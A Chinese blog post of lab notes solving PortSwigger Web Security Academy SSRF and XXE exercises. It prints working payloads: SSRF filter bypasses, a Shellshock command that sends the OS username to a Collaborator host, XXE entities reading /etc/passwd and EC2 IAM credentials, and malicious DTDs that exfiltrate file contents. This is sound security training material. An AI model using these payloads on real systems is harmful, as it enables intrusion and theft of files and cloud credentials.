freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PortSwigger之SSRF+XXE漏洞笔记
2021-09-16 11:59:57

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

一、Server-side request forgery (SSRF)

01、Basic SSRF against the local server

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

解决方案

1.浏览/admin并观察您无法直接访问管理页面。

image-20210912203756762

2.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。

3.将stockApi参数中的 URL 更改为http://localhost/admin. 这应该显示管理界面。

image-20210912203827780

4.阅读 HTML 确定删除目标用户的 URL,即: http://localhost/admin/delete?username=carlos

image-20210912203852285

5.在stockApi参数中提交这个 URL ,来传递SSRF 攻击。

image-20210912203928338

image-20210912203956415

02、Basic SSRF against another back-end system

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室问题,请使用库存检查功能处的漏洞扫描192.168.0.XC段哪个IP的 8080端口 上开启了WEB服务管理界面,然后使用它删除用户carlos

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Intruder。 2.单击“clear §”,将stockApi参数更改为http://192.168.0.1:8080/admin,对 IP 地址的最后一个八位字节(数字1),单击“添加有效载荷 §”。

image-202109122047368003.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。意思是从1到255遍历,点击“开始攻击”。

image-202109122048211474.单击“状态”列可按状态代码升序对其进行排序。您应该会看到一个状态为 200 的条目,显示了一个管理界面。

image-202109122049226585.点击这个请求,发送到Burp Repeater,将里面的路径改成stockApi:/admin/delete?username=carlos

image-20210912205012851

image-20210912205024702

03、SSRF with blacklist-based input filter

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

开发人员部署了两个您需要绕过的弱反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.将stockApi参数中的 URL 更改为http://127.0.0.1/,请求被阻止。

image-20210912214102870

3.通过将 URL 更改为以下内容来绕过块: http://127.1/

使用的替代IP表示127.0.0.1,例如2130706433,017700000001,或127.1。

image-20210912214131475

4.将 URL 更改为http://127.1/admin并观察该 URL 再次被阻止。

image-20210912214157590

5.通过双 URL 编码将“a”混淆为 %2561 以访问管理界面并删除目标用户。a的url编码结果是%61%的url编码是%25

image-20210912214220228

6.删除carlos

stockApi=http://127.1/%2561dmin/delete?username=carlos 

image-20210912214402371

04、SSRF with whitelist-based input filter

基于白名单绕过滤的ssrf

某些应用程序仅允许与允许值的白名单匹配、以该白名单开头或包含该白名单的输入。在这种情况下,您有时可以通过利用 URL 解析中的不一致来绕过过滤器。

URL 规范包含许多在实现 URL 的临时解析和验证时容易被忽视的功能:

您可以使用@字符在 URL 中的主机名之前嵌入凭据。例如:https://expected-host@evil-host

您可以使用#字符来表示 URL 片段。例如:https://evil-host#expected-host

您可以利用 DNS 命名层次结构将所需的输入放入您控制的完全限定的 DNS 名称中。例如:https://expected-host.evil-host

您可以对字符进行 URL 编码以混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式不同于执行后端 HTTP 请求的代码,这将特别有用。

您可以结合使用这些技术。

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了您需要绕过的反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.fuzz测试应用程序对哪些连接符进行过滤

将stockApi参数中的 URL 更改为http://127.0.0.1@stock.weliketoshop.net,添加@位置为有效载荷。

image-20210913234129241

%2540 %2523 %252e分别是@#.

image-20210913234306732

image-20210913234340742

可以得出@连接符可用,未被过滤。 3.fuzz测试应用程序对本地地址的过滤

image-20210913234902766

5.遍历结果发现%2523未被过滤,这是#的双重编码。.

image-202109132349554266.更改 URL 以http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos访问管理界面并删除目标用户。

image-20210913235150905

image-20210913235217606

05、SSRF with filter bypass via open redirection vulnerability

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://192.168.0.12:8080/admin并删除用户carlos

库存检查器已被限制为只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.尝试篡改stockApi参数并观察到无法让服务器直接向不同的主机发出请求。 3.单击“Next product”并观察该path参数被放置在重定向响应的 Location 标头中,从而导致打开重定向。

image-20210913235627698

image-20210913235716715

image-20210914000127029

4.创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其提供给stockApi股票检查器上的参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin

image-20210914000518440

5.修改删除目标用户的路径:

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

image-20210914000609750

06、Blind SSRF with out-of-band detection

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

要解决实验室问题,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。

解决方案

1.在Burp Suite Professional 中,转到 Burp 菜单并启动Burp Collaborator 客户端。

image-20210914000803392

2.单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

9ku1dr3wc25eze1famnlfqnqfhl79w.burpcollaborator.net

image-20210914000840611

3.访问一个产品,拦截 Burp Suite 中的请求,并将其发送到 Burp Repeater。

image-20210914000926780

4.更改 Referer 标头以使用生成的 Burp Collaborator 域代替原始域。发送请求。

image-20210914001006197

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。

image-20210914083728670

6.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image-20210914001042222

07、Blind SSRF with Shellshock exploitation

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

为了解决实验室问题,使用此功能对端口 8080 范围内的内部服务器执行盲 SSRF攻击192.168.0.X。在盲攻击中,使用针对内部服务器的 Shellshock 负载来窃取操作系统用户的名称。

解决方案

1.在Burp Suite Professional 中,从 BApp Store 安装“Collaborator Everywhere”扩展。

image-20210914001414656

2.将靶场的域添加到 Burp Suite 的目标范围,以便 Collaborator Everywhere 将其作为目标。 浏览网站。

image-20210914001656948

image-20210914090132732

3.开始浏览产品页面,随便找几个商品点进去在点击return,插件会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。

image-20210914090403306

4.观察 HTTP 交互在 HTTP 请求中包含您的 User-Agent 字符串。将请求发送到产品页面给 Burp Intruder。

image-20210914090645198

5.使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中:

() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net

image-20210914090828060

6.将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 负载。

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”。

image-202109140910120827.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。 点击“开始攻击”。

image-202109140910504898.攻击完成后,返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击攻击的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。

image-20210914091231987

9.要完成实验,请输入操作系统用户的名称。

peter-I7hfdy

image-20210914091257858

二、XXE injection

01、Exploiting XXE using external entities to retrieve files

描述

该实验室具有“Check stock”功能,可解析 XML 输入并在响应中返回任何意外值。

为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“Check stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image-20210914211214762

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含Invalid product ID:,后跟/etc/passwd文件的内容。

image-20210914211729531

image-20210914211913671

02、Exploiting XXE to perform SSRF attacks

描述

该实验室具有"Check Stock"功能,可解析 XML 输入并在响应中返回任何意外值。

实验室服务器在默认 URL 上运行(模拟的)EC2 元数据端点,即http://169.254.169.254/. 此端点可用于检索有关实例的数据,其中一些可能是敏感的。

为解决实验室,利用XXE漏洞执行SSRF攻击,从EC2元数据端点获取服务器的IAM秘密访问密钥。

解决方案

1.访问产品页面,单击“Check Stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image-20210914212504029

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,最初是文件夹名称。

image-20210914212624562

4.迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin. 这应该返回包含SecretAccessKey.

image-20210914212826529

image-20210914212857302

03、Blind XXE with out-of-band interaction

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

您可以通过触发与外部域的带外交互来检测盲 XXE漏洞。

为了解决实验室问题,使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端

image-20210916084518805

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

5.将productId数字替换为对外部实体的引用:&xxe;

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

image-20210916084827342

6.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image-20210916084743015

image-20210916085006326

04、Blind XXE with out-of-band interaction via XML parameter entities

描述

该实验室具有“Check stock”功能,可解析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

为了解决实验室问题,使用参数实体让 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1652ffdx6ehfr67aox39dcqfw62wql.burpcollaborator.net"> %xxe; ]>

image-20210916091021761

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image-20210916091251371


05、Exploiting blind XXE to exfiltrate data using a malicious external DTD

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请提取/etc/hostname文件的内容。

解决方案

1.使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端

2.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3.将 Burp Collaborator 负载放入恶意 DTD 文件中:,注意这里%是%的HTML编码结果

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。

引用:https://cloud.tencent.com/developer/article/1464774
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

4.单击“Store”并将恶意 DTD 文件保存在您的服务器上。单击“view exploit”并记下 URL。

https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit

image-20210916102306278

5.您需要通过添加引用恶意 DTD 的参数实体来利用Check stock功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

6.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit"> %xxe;]>

7.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。

8.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。HTTP 交互可以包含/etc/hostname文件的内容。

读取结果

94c9f0a3f381

image-20210916102449147

06、Exploiting blind XXE to retrieve data via error messages

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决该实验,请使用外部 DTD 触发显示/etc/passwd文件内容的错误消息。

该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。

解决方案

1.单击“Go to exploit server”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入实体,然后尝试在文件路径中使用该实体。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

image-20210916104342562

2.单击“View exploit”并记下恶意 DTD 的 URL。

https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd

3.您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含文件内容的错误消息。

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd"> %xxe;]>
"XML parser exited with non-zero code 1: /invalid/

image-20210916104515639

image-20210916104554708

07、Exploiting XXE to retrieve data by repurposing a local DTD

通过复用本地DTD利用XXE盲打

如果目标不出网,或者有某限制不能使用外部dtd实体,这时可以尝试使用本地的dtd实体,就是把dtd的语句写在靶机里。

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请触发一条包含/etc/passwd文件内容的错误消息。

您需要引用服务器上现有的 DTD 文件并从中重新定义实体。

暗示

使用 GNOME 桌面环境的系统通常在包含一个名为/usr/share/yelp/dtd/docbookx.dtd的实体时有一个 DTDISOamso.

解决方案

1.访问产品页面,单击“Check stock”,并在Burp Suite中截获生成的POST请求。

2.在XML声明和stockCheck元素之间插入以下参数实体定义:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息。

暗示中提到一个内部的DTD:/usr/share/yelp/dtd/docbookx.dtd,这个内部DTD中有一个参数实体叫ISOamso,然后重写这个参数实体。

注意:

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。

引用:https://cloud.tencent.com/developer/article/1464774

image-20210916111032783

image-20210916111123851

08、Exploiting XInclude to retrieve files

描述

该实验室具有“check stock”功能,该功能将用户输入嵌入服务器端 XML 文档中,随后对其进行解析。

因为您无法控制整个 XML 文档,所以您无法定义 DTD 来发起经典的XXE攻击。

要解决实验室问题,请注入一条XInclude语句来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。

2.将productId参数值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

image-20210916111435965

image-20210916115044807

09、Exploiting XXE via image file upload

描述

该实验室允许用户将头像附加到评论中,并使用 Apache Batik 库来处理头像图像文件。

要解决实验室问题,请上传/etc/hostname处理后显示文件内容的图像。然后使用“提交解决方案”按钮提交服务器主机名的值。

暗示

SVG 图像格式使用 XML。

解决方案

1.使用以下内容创建本地 SVG 图像:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

image-20210916115341840

2.在博客文章上发表评论,并上传此图片作为头像。

3.查看评论时,您应该会``在图像中看到/etc/hostname文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。

image-20210916115627079

提交7174a45a0efa

image-20210916115708506


# XXE漏洞 # SSRF漏洞 # 实验记录 # PortSwigger
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录